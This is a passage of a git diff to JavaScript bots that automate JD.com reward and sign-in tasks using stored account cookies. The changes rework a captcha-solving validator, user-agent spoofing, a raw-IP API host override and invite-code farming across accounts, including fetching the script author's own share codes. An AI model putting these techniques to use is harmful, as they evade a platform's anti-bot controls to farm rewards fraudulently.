Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_sign.js b/jd_sign.js index 0f86367..44f95ec 100755 --- a/jd_sign.js +++ b/jd_sign.js @@ -1,11 +1,16 @@ /* - +cron 14 10 * * * https://raw.githubusercontent.com/smiek2221/scripts/master/jd_sign_graphics.js 只支持nodejs环境 -14 10 * * * +需要安装依赖 +npm i png-js 或者 npm i png-js -S + +如果 read ECONNRESET 错误 可以试试 +环境变量 JOY_HOST +修改域名 https://jdjoy.jd.com 可以改成ip https://49.7.27.236 */ -const validator = require('./JDJRValidator_Pure.js'); -const Faker=require('./jd_sign_validate.js') +const validator = require('./JDJRValidator_Smiek.js'); +const Faker=require('./sign_graphics_validate.js') const $ = new Env('京东签到图形验证'); const notify = $.isNode() ? require('./sendNotify') : ''; @@ -27,6 +32,10 @@ let UA = "" let signFlag = false let successNum = 0 let errorNum = 0 +let JD_API_HOST = 'https://jdjoy.jd.com' +if(process.env.JOY_HOST){ + JD_API_HOST = process.env.JOY_HOST +} const turnTableId = [ { "name": "京东商城-内衣", "id": 1071, "url": "https://prodev.m.jd.com/mall/active/4PgpL1xqPSW1sVXCJ3xopDbB1f69/index.html" }, @@ -38,8 +47,9 @@ const turnTableId = [ { "name": "京东商城-数码", "id": 347, "url": "https://prodev.m.jd.com/mall/active/4SWjnZSCTHPYjE5T7j35rxxuMTb6/index.html" }, { "name": "京东超市", "id": 1204, "url": "https://pro.m.jd.com/mall/active/QPwDgLSops2bcsYqQ57hENGrjgj/index.html" }, ] -$.get = validator.injectToRequest($.get.bind($), 'channelSign') -$.post = validator.injectToRequest($.post.bind($), 'channelSign') +$.UA = $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1") +$.get = validator.injectToRequest($.get.bind($), 'channelSign', $.UA) +$.post = validator.injectToRequest($.post.bind($), 'channelSign', $.UA) !(async () => { if (!cookiesArr[0]) { @@ -80,7 +90,6 @@ async function showMsg() { if ($.isNode() && message) await notify.sendNotify(`${$.name}`, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); } async function signRun() { - UA = $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") for (let i in turnTableId) { signFlag = false await Login(i) @@ -136,7 +145,7 @@ function Login(i) { try { if (err) { console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) - throw new Error(err); + console.log(`${JSON.stringify(err)}`) } else { if (data) { // console.log(data) @@ -192,7 +201,7 @@ function getEid(arr) { body: `d=${arr.d}`, headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": UA + "User-Agent": $.UA } } $.post(options, async (err, resp, data) => { @@ -219,7 +228,7 @@ function getEid(arr) { } function taskUrl(turnTableId) { - const url = `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${turnTableId}&invokeKey=qRKHmL4sna8ZOP9F` + const url = `${JD_API_HOST}/api/turncard/channel/detail?turnTableId=${turnTableId}&invokeKey=qRKHmL4sna8ZOP9F` return { url, headers: { @@ -228,15 +237,16 @@ function taskUrl(turnTableId) { "Accept-Language": "zh-cn", "Connection": "keep-alive", 'Cookie': cookie, + 'Host': `jdjoy.jd.com`, "Origin": "https://prodev.m.jd.com", "Referer": "https://prodev.m.jd.com/", - "User-Agent": UA, + "User-Agent": $.UA, } } } function tasPostkUrl(turnTableId) { - const url = `https://jdjoy.jd.com/api/turncard/channel/sign?turnTableId=${turnTableId}&fp=${fp}&eid=${eid}&invokeKey=qRKHmL4sna8ZOP9F` + const url = `${JD_API_HOST}/api/turncard/channel/sign?turnTableId=${turnTableId}&fp=${fp}&eid=${eid}&invokeKey=qRKHmL4sna8ZOP9F` return { url, headers: { @@ -246,9 +256,22 @@ function tasPostkUrl(turnTableId) { "Connection": "keep-alive", "Content-Type": "application/x-www-form-urlencoded", 'Cookie': cookie, + 'Host': `jdjoy.jd.com`, "Origin": "https://prodev.m.jd.com", "Referer": "https://prodev.m.jd.com/", - "User-Agent": UA, + "User-Agent": $.UA, + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; } } } diff --git a/jd_small_home.js b/jd_small_home.js index 3b99a1a..7522327 100755 --- a/jd_small_home.js +++ b/jd_small_home.js @@ -1,6 +1,6 @@ /* 东东小窝 jd_small_home.js -Last Modified time: 2021-7-1 14:27:20 +Last Modified time: 2021-6-27 13:27:20 现有功能: 做日常任务任务,每日抽奖(有机会活动京豆,使用的是免费机会,不消耗WO币) 自动使用WO币购买装饰品可以获得京豆,分别可获得5,20,50,100,200,400,700,1200京豆) @@ -19,7 +19,7 @@ https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html ===============Quantumultx=============== [task_local] #东东小窝 -16 22 * * * jd_small_home.js, tag=东东小窝, img-url=https://raw.githubusercontent.com/58xinian/icon/master/ddxw.png, enabled=true +16 22 * * * jd_small_home.js, tag=东东小窝, img-url=https://raw.githubusercontent.com/58xinian/icon/main/ddxw.png, enabled=true ================Loon============== [Script] @@ -77,22 +77,26 @@ const JD_API_HOST = 'https://lkyl.dianpusoft.cn/api'; await smallHome(); } } - //await updateInviteCodeCDN('https://gitee.com/lxk0301/updateTeam/raw/master/shareCodes/jd_updateSmallHomeInviteCode.json'); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.token = $.helpToken[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - if ($.newShareCodes.length > 1) { - console.log('----', (i + 1) % $.newShareCodes.length) - let code = $.newShareCodes[(i + 1) % $.newShareCodes.length]['code'] - console.log(`\n${$.UserName} 去给自己的下一账号 ${decodeURIComponent($.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/) && $.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/)[1])}助力,助力码为 ${code}\n`) - await createAssistUser(code, $.createAssistUserID); - } - /* - await helpFriends();*/ - } - } + // $.inviteCodes = await getAuthorShareCode('https://raw.githubusercontent.com/zero205/updateTeam/main/shareCodes/jd_updateSmallHomeInviteCode.json') + // if (!$.inviteCodes) { + // $.http.get({url: 'https://purge.jsdelivr.net/gh/zero205/updateTeam@main/shareCodes/jd_updateSmallHomeInviteCode.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + // await $.wait(1000) + // $.inviteCodes = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/zero205/updateTeam@main/shareCodes/jd_updateSmallHomeInviteCode.json') + // } + // for (let i = 0; i < cookiesArr.length; i++) { + // if (cookiesArr[i]) { + // cookie = cookiesArr[i]; + // $.token = $.helpToken[i]; + // $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + // if ($.newShareCodes.length > 1) { + // // console.log('----', (i + 1) % $.newShareCodes.length) + // let code = $.newShareCodes[(i + 1) % $.newShareCodes.length]['code'] + // console.log(`\n${$.UserName} 去给自己的下一账号 ${decodeURIComponent($.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/) && $.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/)[1])}助力,助力码为 ${code}`) + // await createAssistUser(code, $.createAssistUserID); + // } + // await helpFriends(); + // } + // } })() .catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') @@ -101,17 +105,21 @@ const JD_API_HOST = 'https://lkyl.dianpusoft.cn/api'; $.done(); }) async function smallHome() { - await loginHome(); - await ssjjRooms(); - // await helpFriends(); - if (!$.isUnLock) return; - await createInviteUser(); - await queryDraw(); - await lottery(); - await doAllTask(); - await queryByUserId(); - await queryFurnituresCenterList(); - await showMsg(); + try { + await loginHome(); + await ssjjRooms(); + // await helpFriends(); + if (!$.isUnLock) return; + await createInviteUser(); + await queryDraw(); + await lottery(); + await doAllTask(); + await queryByUserId(); + await queryFurnituresCenterList(); + // await showMsg(); + } catch (e) { + $.logErr(e) + } } function showMsg() { return new Promise(resolve => { @@ -138,7 +146,10 @@ async function doChannelsListTask(taskId, taskType) { } } async function helpFriends() { - if ($.inviteCodes && $.inviteCodes['inviteCode']) { + // await updateInviteCode(); + // if (!$.inviteCodes) await updateInviteCodeCDN(); + if ($.inviteCodes && $.inviteCodes['inviteCode'] && $.inviteCodes['inviteCode'].length) { + console.log(`\n去帮助作者\n`) for (let item of $.inviteCodes.inviteCode) { if (!item) continue await createAssistUser(item, $.createAssistUserID); @@ -155,20 +166,20 @@ async function doAllTask() { if (item.ssjjTaskInfo.type === 1) { //邀请好友助力自己 $.createAssistUserID = item.ssjjTaskInfo.id; - console.log(`createAssistUserID:${item.ssjjTaskInfo.id}`) - console.log(`\n\n助力您的好友:${item.doneNum}人`) + // console.log(`createAssistUserID:${item.ssjjTaskInfo.id}`) + console.log(`\n\n助力您的好友:${item.doneNum}人\n\n`); } if (item.ssjjTaskInfo.type === 2) { //每日打卡 - if (item.doneNum === (item.ssjjTaskInfo.awardOfDayNum || 1)) { - console.log(`${item.ssjjTaskInfo.name}已完成(${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || 1})`) + if (item.doneNum >= (item.ssjjTaskInfo.awardOfDayNum || 1)) { + console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || 1}]`) continue } await clock(item.ssjjTaskInfo.id, item.ssjjTaskInfo.awardWoB) } // 限时连连看 if (item.ssjjTaskInfo.type === 3) { - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) continue } @@ -178,7 +189,7 @@ async function doAllTask() { } if (item.ssjjTaskInfo.type === 4) { //关注店铺 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) continue } @@ -189,7 +200,7 @@ async function doAllTask() { } if (item.ssjjTaskInfo.type === 5) { //浏览店铺 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) continue } @@ -199,7 +210,7 @@ async function doAllTask() { } if (item.ssjjTaskInfo.type === 6) { //关注4个频道 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) continue } @@ -207,7 +218,7 @@ async function doAllTask() { } if (item.ssjjTaskInfo.type === 7) { //浏览3个频道 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) continue } @@ -218,7 +229,7 @@ async function doAllTask() { isPurchaseShops = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS : isPurchaseShops) : ($.getdata("isPurchaseShops") ? $.getdata("isPurchaseShops") : isPurchaseShops); if (isPurchaseShops && item.ssjjTaskInfo.type === 9) { //加购商品 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) continue } @@ -229,7 +240,7 @@ async function doAllTask() { } if (item.ssjjTaskInfo.type === 10) { //浏览商品 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) continue } @@ -239,7 +250,7 @@ async function doAllTask() { } if (item.ssjjTaskInfo.type === 11) { //浏览会场 - if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) { + if (item.doneNum >= item.ssjjTaskInfo.awardOfDayNum) { console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`) continue } @@ -297,7 +308,7 @@ function queryFurnituresCenterList() { //装饰领京豆 function furnituresCenterPurchase(id, jdBeanNum) { return new Promise(resolve => { - $.post(taskPostUrl(`ssjj-furnitures-center/furnituresCenterPurchase/${id}`), (err, resp, data) => { + $.post(taskPostUrl(`ssjj-furnitures-center/furnituresCenterPurchase/${id}`), async (err, resp, data) => { try { if (err) { console.log(`${JSON.stringify(err)}`) @@ -307,6 +318,7 @@ function furnituresCenterPurchase(id, jdBeanNum) { data = JSON.parse(data); if (data.head.code === 200) { message += `【装饰领京豆】${jdBeanNum}兑换成功\n`; + await notify.sendNotify($.name, `【京东账号 ${$.index}】 ${$.UserName || $.nickName}\n【装饰领京豆】${jdBeanNum}兑换成功`) } } } @@ -511,6 +523,7 @@ function createInviteUser() { } function createAssistUser(inviteId, taskId) { + // console.log(`${inviteId}, ${taskId}`, `${cookie}`); return new Promise(resolve => { $.get(taskUrl(`/ssjj-task-record/createAssistUser/${inviteId}/${taskId}`), (err, resp, data) => { try { @@ -522,10 +535,10 @@ function createAssistUser(inviteId, taskId) { data = JSON.parse(data); if (data.head.code === 200) { if (data.body) { - console.log(`\n给好友${data.body.inviteId}:【${data.head.msg}】\n`) + console.log(`给好友${data.body.inviteId}:【${data.head.msg}】\n`) } } else { - console.log(`助力失败${JSON.stringify(data)}}`); + console.log(`助力失败${JSON.stringify(data)}\n`); } } } @@ -696,7 +709,7 @@ function ssjjRooms() { function loginHome() { return new Promise(resolve => { const options = { - "url": "https://draw.jdfcloud.com/saas/framework/encrypt/pin?appId=6d28460967bda11b78e077b66751d2b0", + "url": "https://jdhome.m.jd.com/saas/framework/encrypt/pin?appId=6d28460967bda11b78e077b66751d2b0", "headers": { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", @@ -705,9 +718,9 @@ function loginHome() { "Content-Length": "0", "Content-Type": "application/json", "Cookie": cookie, - "Host": "draw.jdfcloud.com", - "Origin": "https://draw.jdfcloud.com", - "Referer": "https://draw.jdfcloud.com/dist/taro/index.html/", + "Host": "jdhome.m.jd.com", + "Origin": "https://jdhome.m.jd.com", + "Referer": "https://jdhome.m.jd.com/dist/taro/index.html/", "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), } } @@ -715,13 +728,15 @@ function loginHome() { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试111`) + console.log(`${$.name} encrypt/pin API请求失败,请检查网路重试`) } else { - console.log(data) if (safeGet(data)) { data = JSON.parse(data); - await $.wait(2000) - await login(data.data.lkEPin); + if (data.success) { + await login(data.data.lkEPin); + } else { + console.log(`异常:${JSON.stringify(data)}\n`) + } } } } catch (e) { @@ -737,7 +752,7 @@ function login(userName) { const body = { "body": { "client": 2, - "userName" : userName + userName } }; const options = { @@ -759,7 +774,7 @@ function login(userName) { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试12323`) + console.log(`${$.name} API请求失败,请检查网路重试`) } else { data = JSON.parse(data); if (data.head.code === 200) { @@ -775,9 +790,45 @@ function login(userName) { }) }) } +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + // console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} function taskUrl(url, body = {}) { return { url: `${JD_API_HOST}/${url}?body=${escape(body)}`, + timeout: 10000, headers: { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", @@ -794,6 +845,7 @@ function taskUrl(url, body = {}) { function taskPostUrl(url) { return { url: `${JD_API_HOST}/${url}`, + timeout: 10000, headers: { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", @@ -813,39 +865,38 @@ function sortByjdBeanNum(a, b) { function TotalBean() { return new Promise(async resolve => { const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" } } - $.post(options, (err, resp, data) => { + $.get(options, (err, resp, data) => { try { if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试123`) + $.logErr(err) } else { - if (safeGet(data)) { + if (data) { data = JSON.parse(data); - if (data['retcode'] === 13) { + if (data['retcode'] === 1001) { $.isLogin = false; //cookie过期 - return + return; } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; } + } else { + console.log('京东服务器返回空数据'); } } } catch (e) { - $.logErr(e, resp) + $.logErr(e) } finally { resolve(); } @@ -875,4 +926,4 @@ function jsonParse(str) { } } // prettier-ignore -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let 